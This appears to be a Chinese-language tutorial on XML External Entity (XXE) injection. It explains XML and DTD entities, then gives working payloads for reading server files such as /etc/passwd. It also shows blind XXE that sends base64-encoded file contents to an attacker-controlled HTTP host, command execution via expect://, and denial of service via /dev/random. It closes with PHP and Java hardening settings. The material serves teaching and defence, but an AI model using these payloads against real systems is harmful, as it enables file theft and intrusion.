XXE漏洞
XXE(XML External Entity Injection)漏洞,全称XML外部实体注入。该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。
危害:
- 文件读取
- 命令执行
- 攻击内网网站
- ..
XML基础
定义
XML是一种类似于HTML的标记语言,但是 XML 没有使用预定义的标记。因此,可以根据自己的设计需求定义专属于自己的标记。这是一种十分有用的可存储、可搜索和可共享的格式存储数据的方法。
跨系统或平台共享或传输 XML ,无论是在本地还是在互联网上,接收方仍然可以根据标准化的 XML 语法解析数据。
XML设计宗旨是传输数据,而不是显示数据;HTML被设计用来显示数据。
结构
XML文档包含XML声明、DTD文档类型定义(该部分可选)、文档元素三部分。
示例:
<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>
<message>
<receiver>me</receiver>
<sender>somebody</sender>
<header>TheReminder</header>
<msg>This is an amazing msg</msg>
</message>
DTD
DTD(Document Type Definition),文档类型定义,通过定义DTD说明XML文档中有哪些模块以及各模块中有哪些内容。
示例-定义内部DTD:
<!-- 声明信息 -->
<?xml version="1.0"?>
<!-- 定义内部 DTD -->
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
]>
<message>
<receiver>me</receiver>
<sender>somebody</sender>
<header>TheReminder</header>
<msg>This is an amazing msg</msg>
</message>
除了在DTD 中定义元素(对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容,也可类似声明变量),例如某些内容是固定不变的。
示例-定义实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test">]>
<!-- ANY表示可接收任何元素;在这里定义了一个'xxe'的实体,其实可以看成一个变量,后续可以在 XML中通过 & 符号进行引用) -->
定义上述实体后,在元素部分即可这样引用:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
<!-- 使用 &xxe; 对 上面定义的 xxe 实体进行了引用,当输出时, &xxe; 就会被 "test" 替换。 -->
实体可分为内部实体和外部实体,上述例子是内部实体,当然实体也可以从外部DTD文件中引用。
示例:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds> <!-- 引用外部实体时,当引用资源发生改变,则在xml文档中就可以自动更新 -->
还有一种引用外部实体方式是引用公用DTD:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
实体也可分为通用实体和参数实体
通用实体
用
&实体名;
引用的实体,在DTD中定义,在XML文档中引用。示例:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini">]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
参数实体
- 使用
% 实体名
(中间有个空格) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;
引用参数实体- 只有在DTD文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
示例:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
XML实体注入
当引用了一个外部实体后,就可能存在一定的问题,如下代码是一个引用外部实体的例子:
<?xml version="1.0"?>
<!DOCTYPE demo[
<!ENTITY content SYSTEM "file:///c:/test.dtd">
]>
<demo>&content;</demo>
当更改路径dtd文件的路径,是否就可直接获得一些敏感文件的内容。
XXE的重点就在于关注外部实体。
利用
读取敏感文件
有回显
当服务端接收XML文档解析并进行回显时,即可修改XML代码以读取服务端上的敏感文件。
示例:
# 服务端
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
// 加载xml文档内容并echo进行回显
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<test>&file;</test>
注意:读取文件时,文件所在目录要有可执行权限
问题:上述例子读取了一个纯净文件,那么当文件中含有影响xml文档语义的字符该怎么办?例如
<
,>
,&
,"
,'
等。
示例:
可成功读出,当加入特殊字符,则无法读出:
解决1-引入CDATA:
CDATA的作用就是将原始数据内容视为纯字符数据而不再具备语义。
<![CDATA [ .... ]]>
所以只要将读出的文本内容用CDATA包裹起来就可以。
需要借助参数实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///usr/haha">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.0.106/evil.dtd">
%dtd; ]>
<test>&all;</test>
evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%file;%end;">
可成功读出:
解决2-伪协议编码读取:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha"> ]>
<test>&file;</test>
无回显
实际环境中XML更多用于配置文件和传输数据,一般不会有回显。所以更多是无回显的场景。即,blind XXE。
示例:
# 服务端
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha">
<!ENTITY % xxe SYSTEM "http://192.168.0.106/dtd.dtd">
%xxe;
%all;
]>
<foo>&send;</foo>
dtd.dtd:
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.0.105/haha.php?p=%file;'>">
带出结果:
注意:
- 在dtd.dtd文件中不直接定义send实体去发送请求是因为这样做file实体参数是无法解析的,因此需要外加一层all参数实体声明,当参数实体all引用时才会解析file实体
- 当带出大文件时会报错,估计是在URI长度有限制**(this is a question)**
- file实体解析后的文件内容实际是不纯净的,一般末尾会跟有
0x0a
(如下图),所以放到直接放到URL里会报非法url的错,所以可以使用伪协议编码后进行外带
然而,有时候无法引入外部实体(因为防火墙等原因),同样也是无回显场景,这时可以尝试引入系统自带的一些dtd文件,实现重新定义一些参数实体从而外带数据:
- linux:
/usr/share/yelp/dtd/docbookx.dtd
- windows:
C:\Windows\System32\wbem\xml
payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.105/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1314</message>
执行命令
当PHP中安装expect扩展时可用。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<xxe>
<name>&xxe;</name>
</xxe>
DoS攻击
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<xxe>
<name>&xxe;</name>
</xxe>
/dev/random:提供永不为空的随机字节数据流
防御方法
-
使用对应开发语言提供的禁用DTD、禁用外部实体和参数实体等方法
- PHP
libxml_disable_entity_loader(true);
- Java
// 禁用DTDs (doctypes) dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果不能禁用DTDs,设置以下两项(同时存在) dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止参数实体
-
过滤关键字